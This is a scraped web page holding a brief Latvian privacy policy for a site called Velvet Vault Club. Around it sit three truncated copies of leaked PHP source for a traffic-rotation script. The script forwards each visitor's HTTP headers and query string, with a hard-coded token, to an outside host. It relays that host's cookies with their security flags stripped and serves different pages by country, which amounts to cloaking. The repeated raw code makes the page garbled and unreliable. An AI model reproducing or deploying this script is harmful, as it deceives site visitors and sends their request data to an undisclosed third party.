baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>

Privātuma politika

Pēdējā atjaunināšana: 2024. gada 14. novembris

Vietnē Velvet Vault Club (turpmāk "mēs", "mūs" vai "vietne") mēs cienām un aizsargājam mūsu lietotāju privātumu un apņemamies aizsargāt jūsu sniegto personisko informāciju. Šī privātuma politika izskaidro, kā mēs vācam, izmantojam, glabājam un aizsargājam personisko informāciju.

1. Informācija, ko mēs vācam

1.1 Personiskā informācija

Mēs varam vākt personisko informāciju, kuru jūs brīvprātīgi sniedzat reģistrācijas formās, jaunumrakstu abonēšanā, kontaktformās un citos veidos. Šī informācija var ietvert:

1.2 Lietošanas un reklāmas dati

Mēs izmantojam rīkus, piemēram, Google Ads un Google Analytics, lai vāktu informāciju par to, kā jūs izmantojat mūsu vietni. Šī informācija var ietvert:

Vairāk informācijas par to, kā Google izmanto vāktos datus, var atrast Google privātuma politikā.

2. Piekrišana un privātuma izvēles

Apmeklējot mūsu vietni, jums tiks piedāvāts dot piekrišanu vai atteikties no sīkdatņu un datu vākšanas reklāmas nolūkiem. Savus iestatījumus varat jebkurā laikā mainīt mūsu vietnes sīkdatņu iestatījumos.

No personalizētās Google reklāmas jūs varat atteikties arī šeit: Google reklāmu iestatījumi.

3. Bērnu privātuma aizsardzība

Mūsu vietne nav paredzēta bērniem, kas jaunāki par 16 gadiem bez vecāku vai aizbildņa uzraudzības. Mēs apzināti nevācam informāciju no bērniem, kas jaunāki par 16 gadiem. Ja esat vecāks vai aizbildnis un uzskatāt, ka jūsu bērns ir sniedzis mums personisko informāciju, lūdzu, sazinieties ar mums, lai mēs šo informāciju varētu izdzēst.

4. Politikas izmaiņas

Mēs paturam tiesības jebkurā laikā atjaunināt šo privātuma politiku, lai atspoguļotu izmaiņas mūsu praksē. Mēs iesakām lietotājiem regulāri pārbaudīt šo lapu.

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>